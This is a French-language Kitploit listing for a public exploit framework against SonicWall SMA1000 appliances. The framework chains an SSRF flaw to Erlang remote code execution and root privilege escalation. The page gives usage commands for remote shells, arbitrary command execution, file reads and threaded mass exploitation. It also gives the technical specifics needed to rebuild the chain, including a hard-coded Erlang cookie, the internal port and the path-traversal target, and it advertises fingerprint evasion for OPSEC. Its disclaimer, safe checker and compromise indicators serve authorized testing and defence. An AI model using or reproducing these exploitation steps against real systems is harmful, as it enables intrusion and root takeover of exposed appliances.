Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-15409-15410-Framework — Framework multi-exploits pour SonicWall SMA1000 enchaînant SSRF (CVE-2026-15409) à une RCE Erlang et une élévation des privilèges root (CVE-2026-15410). Propose un shell interactif, une analyse par lots, des opérations sur les fichiers et un mode de détection sûr pour les tests d'intrusion autorisés. | Kitploit
Outils/GitHubGitHub/tc4dy/cve-2026-15409-15410-framework
Escalade de PrivilègesFrameworks d'ExploitationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Framework multi-exploits pour SonicWall SMA1000 enchaînant SSRF (CVE-2026-15409) à une RCE Erlang et une élévation des privilèges root (CVE-2026-15410). Propose un shell interactif, une analyse par lots, des opérations sur les fichiers et un mode de détection sûr pour les tests d'intrusion autorisés.

Outil d'Accès à Distance
GitHubtc4dy/cve-2026-15409-15410-framework

CVE-2026-15409-15410-Framework

Voir le dépôt
5416il y a 6 joursPas encore vérifié
Partager

CVE-DoublePoC

CVE-2026-15409 CVE-2026-15410 CVSS 10.0 CISA KEV

SSRF RCE Privesc Python 3.6+

[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → RCE Erlang → Élévation de privilèges root

Framework d'exploitation et outil de détection sûr
Uniquement pour les tests de sécurité autorisés.


⚖️ Avertissement légal et utilisation responsable

Cet outil est fourni uniquement à des fins éducatives et de tests d'intrusion autorisés.

Les auteurs et contributeurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce logiciel. Les utilisateurs sont seuls responsables de s'assurer qu'ils disposent d'une autorisation écrite explicite du propriétaire de la cible avant de tester. L'accès non autorisé aux systèmes informatiques est illégal en vertu du Computer Fraud and Abuse Act (CFAA) et des lois similaires dans le monde entier.

En utilisant ce logiciel, vous acceptez de :

  • L'utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de tester.
  • Vous conformer à toutes les lois locales, nationales et fédérales applicables.
  • Ne pas l'utiliser pour des activités malveillantes, destructrices ou illégales.

⚠️ AVERTISSEMENT : Cette vulnérabilité est activement exploitée dans la nature. Une utilisation non autorisée peut entraîner de graves conséquences juridiques.


🔥 Aperçu de la vulnérabilité

CVE-2026-15409 est une vulnérabilité critique de Server-Side Request Forgery (SSRF) non authentifié découverte dans l'interface Work Place de l'appliance SonicWall SMA1000.

Comment cela fonctionne :

  1. Un attaquant exploite le SSRF pour se tunneliser via le point de terminaison wsproxy.
  2. Cela permet d'accéder aux services internes de distribution Erlang (port 1050/8188).
  3. En utilisant un cookie par défaut codé en dur, l'attaquant s'authentifie auprès du nœud Erlang.
  4. L'exécution de code à distance (RCE) est obtenue via des appels os:cmd/1.
  5. CVE-2026-15410 est ensuite enchaînée pour élever les privilèges jusqu'à root via un path traversal dans l'AMC (Appliance Management Console).

Informations clés :

  • 📅 Divulguée : 14 juillet 2026
  • ⚠️ Score CVSS : 10.0 (CRITIQUE)
  • 📋 CISA KEV : Ajoutée le 14 juillet 2026 (Échéance : 17 juillet 2026)
  • 🎯 Produits concernés : SMA 6210, SMA 7210, SMA 8200v
  • 🔄 Versions corrigées : 12.4.3-03453+ et 12.5.0-02835+

🛠️ Framework d'exploitation (exploit.py)

L'exploit complet et militarisé enchaîne CVE-2026-15409 et CVE-2026-15410 pour obtenir un compromis au niveau root.

✨ Fonctionnalités :


📦 Installation et prérequis

Prérequis :

  • Python 3.6+
  • pip (pour la bibliothèque requests)

Installer les dépendances :

root@kitploit:~
pip install -r requirements.txt

[!] Remarque : exploit.py utilise une implémentation WebSocket manuelle – aucune bibliothèque websockets requise. requests n'est nécessaire que pour la fonctionnalité --detect.

🚀 Exemples d'utilisation

[2] Framework d'exploitation (exploit.py)

root@kitploit:~
# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] Vérificateur sûr (checker.py)

root@kitploit:~
# Single target scan
python checker.py https://192.168.1.100

# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Mass scan from file
python checker.py --list targets.txt

🎯 Versions concernées

⚠️ Important : Ces vulnérabilités n'affectent pas les pare-feu SonicWall (SSL-VPN) ni la série SMA 100.


🧠 Analyse technique approfondie

SSRF (CVE-2026-15409)

Le point de terminaison wsproxy sur le port 443 accepte un paramètre bmID commençant par -3389 ainsi qu'une spécification host:port. En définissant host=127.0.0.1 et port=1050, les attaquants peuvent se tunneliser vers le service interne de distribution Erlang.

RPC Erlang

Le nœud Erlang utilise un cookie par défaut codé en dur : 10ecad5b446e86864832904cd439b6b70262. Cela permet l'authentification à distance et l'exécution de n'importe quel appel os:cmd/1.

Élévation de privilèges root (CVE-2026-15410)

Une fois authentifié, l'exploit écrit un script shell dans /var/tmp/ et déclenche le point de terminaison XML-RPC remove_hotfix de l'AMC avec un path traversal (../../../../var/tmp/script.sh), exécutant le script en tant que root.


🔍 Indicateurs de compromission (IoCs)

SonicWall recommande de vérifier :

  • extraweb_access.log pour /__api__/login ou /__api__/logout (statut 200)
  • extraweb_access.log pour /wsproxy avec des paramètres host suspects (statut 101)
  • ctrl-service.log pour les rollbacks de hotfix avec path traversal
  • /var/lib/unit/conf.json contenant des routes pour /__api__/login ou /__api__/logout

📚 Références

  • NVD - CVE-2026-15409
  • Avis de sécurité SonicWall (SNWLID-2026-0008)
  • Catalogue KEV de la CISA
  • The Hacker News - Deux zero-days SonicWall SMA 1000 exploités
Télécharger l’outil
FonctionnalitéDescription
🚀 SSRF → RPC ErlangSe tunnelise automatiquement via wsproxy pour atteindre les nœuds Erlang internes.
💻 Exécution de code à distanceExécute des commandes OS arbitraires via os:cmd/1.
🔐 Shell interactifGénère un shell en direct avec prise en charge des commandes privesc et download.
👑 Élévation de privilèges rootTire parti de CVE-2026-15410 pour s'élever à root via le path traversal de l'AMC.
📁 Opérations sur fichiersLit et écrit des fichiers sur le système cible.
🌐 Analyse par lotsExploite massivement plusieurs cibles avec le threading (option -l).
🎯 Détection SSRFOption --detect facultative pour une vérification sûre de la vulnérabilité.
⚙️ PersonnalisableRemplace l'URL WebSocket, l'Origin, le User-Agent, le cookie, etc.
🧩 Aucune dépendance supplémentaireUtilise uniquement la bibliothèque standard Python (sauf requests optionnel pour la détection).
🔌 Implémentation WebSocket bruteAucune bibliothèque WebSocket externe — poignée de main personnalisée au niveau socket pour éviter les empreintes spécifiques aux bibliothèques et améliorer l'OPSEC.
ProduitVersions vulnérablesVersions corrigées
SMA 621012.4.3-03245, 12.4.3-03387, 12.4.3-03434
12.5.0-02283, 12.5.0-02624, 12.5.0-02800
12.4.3-03453+
12.5.0-02835+
SMA 7210Identique à ci-dessusIdentique à ci-dessus
SMA 8200vIdentique à ci-dessusIdentique à ci-dessus